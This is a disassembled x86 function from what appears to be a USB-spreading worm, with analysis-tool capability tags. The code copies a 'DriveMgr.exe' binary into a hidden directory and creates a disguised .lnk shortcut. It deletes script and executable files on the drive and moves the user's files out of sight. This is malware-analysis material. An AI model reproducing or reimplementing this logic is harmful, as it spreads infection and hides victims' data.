Function at 0x410ab0
Capabilities:
Check if file exists
Copy file
Create directory
Delete file
Enumerate files on windows
Move file
Persist via lnk shortcut
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x12f4
call fcn.004140a0
mov eax, dword [ebp + 0x14]
and eax, 0x80000
je 0x410ace
xor al, al
jmp 0x410f67
mov dword [ebp - 0x824], 0x416f04
mov byte [ebp - 0xc39], 0
mov ecx, dword [ebp + 0x10]
push ecx
push str._s.lnk
lea edx, [ebp - 0x618]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov eax, dword [ebp - 0x824]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str._s_sDriveMgr.exe
lea edx, [ebp - 0x12a8]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov eax, dword [ebp - 0x824]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x416f44
lea edx, [ebp - 0x1098]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x618]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x416f50
lea edx, [ebp - 0xa30]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov eax, dword [ebp + 8]
push eax
push str._s
lea ecx, [ebp - 0x410]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x12a8]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x410bc4
lea eax, [ebp - 0x12a8]
push eax
call fcn.00410160
add esp, 4
mov dword [ebp - 0x12ac], eax
mov ecx, dword [0x419f80]
cmp ecx, dword [ebp - 0x12ac]
je 0x410bc4
push 0x80
lea edx, [ebp - 0x12a8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x12a8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x12a8]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x410c3c
lea edx, [ebp - 0x1098]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x410c08
push 0
lea eax, [ebp - 0x1098]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x410c08
push 7
lea ecx, [ebp - 0x1098]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x1098]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x410c3c
push 0
lea eax, [ebp - 0x12a8]
push eax
push 0x41a138
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 1
lea ecx, [ebp - 0xa30]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0xa30]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x410ca0
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x410c74
push 9
push 0x416f68
lea ecx, [ebp - 0x12a8]
push ecx
lea edx, [ebp - 0xa30]
push edx
call fcn.004108b0
add esp, 0x10
jmp 0x410c91
push 8
push str.shell32.dll
lea eax, [ebp - 0x12a8]
push eax
lea ecx, [ebp - 0xa30]
push ecx
call fcn.004108b0
add esp, 0x10
push 5
lea edx, [ebp - 0xa30]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0xe90]
push eax
lea ecx, [ebp - 0x410]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x109c], eax
cmp dword [ebp - 0x109c], 0xffffffff
je 0x410f61
mov dword [ebp - 0x12e8], str..lnk
mov dword [ebp - 0x12e4], str..vbs
mov dword [ebp - 0x12e0], str..bat
mov dword [ebp - 0x12dc], str..js
mov dword [ebp - 0x12d8], str..scr
mov dword [ebp - 0x12d4], str..com
mov dword [ebp - 0x12d0], str..jse
mov dword [ebp - 0x12cc], str..cmd
mov dword [ebp - 0x12c8], str..pif
mov dword [ebp - 0x12c4], str..jar
mov dword [ebp - 0x12c0], str..dll
mov dword [ebp - 0x12bc], str..vbe
mov dword [ebp - 0x12b8], str..inf
mov edx, dword [ebp - 0x824]
mov dword [ebp - 0x12b4], edx
lea eax, [ebp - 0x618]
mov dword [ebp - 0x12b0], eax
push 0x417034
lea ecx, [ebp - 0xe64]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x410d8d
push 0x417038
lea edx, [ebp - 0xe64]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x410d92
jmp 0x410f38
mov byte [ebp - 0x12ea], 0
mov dword [ebp - 0x12f0], 0
jmp 0x410db4
mov eax, dword [ebp - 0x12f0]
add eax, 1
mov dword [ebp - 0x12f0], eax
cmp dword [ebp - 0x12f0], 2
jae 0x410de9
mov ecx, dword [ebp - 0x12f0]
mov edx, dword [ebp + ecx*4 - 0x12b4]
push edx
lea eax, [ebp - 0xe64]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x410dde
jmp 0x410da5
mov byte [ebp - 0x12ea], 1
jmp 0x410de9
movzx ecx, byte [ebp - 0x12ea]
test ecx, ecx
je 0x410df9
jmp 0x410f38
mov byte [ebp - 0x12e9], 0
mov dword [ebp - 0x12f4], 0
jmp 0x410e1b
mov edx, dword [ebp - 0x12f4]
add edx, 1
mov dword [ebp - 0x12f4], edx
cmp dword [ebp - 0x12f4], 0xd
jae 0x410e92
mov eax, dword [ebp - 0x12f4]
mov ecx, dword [ebp + eax*4 - 0x12e8]
push ecx
lea edx, [ebp - 0xe64]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x410e45
jmp 0x410e0c
lea eax, [ebp - 0xe64]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x417040
lea edx, [ebp - 0x820]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x80
lea eax, [ebp - 0x820]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x820]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [ebp - 0x12e9], 1
jmp 0x410e92
movzx edx, byte [ebp - 0x12e9]
test edx, edx
je 0x410ea2
jmp 0x410f38
lea eax, [ebp - 0x1098]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x410eb8
jmp 0x410f38
lea ecx, [ebp - 0xe64]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x41704c
lea eax, [ebp - 0xc38]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0xe64]
push ecx
mov edx, dword [ebp - 0x824]
push edx
mov eax, dword [ebp + 8]
push eax
push str._s_s_s
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
mov edx, dword [ebp - 0xe90]
and edx, 0x10
je 0x410f22
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0xc38]
push ecx
call fcn.00410970
add esp, 8
jmp 0x410f38
push 9
lea edx, [ebp - 0x208]
push edx
lea eax, [ebp - 0xc38]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea ecx, [ebp - 0xe90]
push ecx
mov edx, dword [ebp - 0x109c]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x410d61
mov eax, dword [ebp - 0x109c]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, byte [ebp - 0xc39]
mov esp, ebp
pop ebp
ret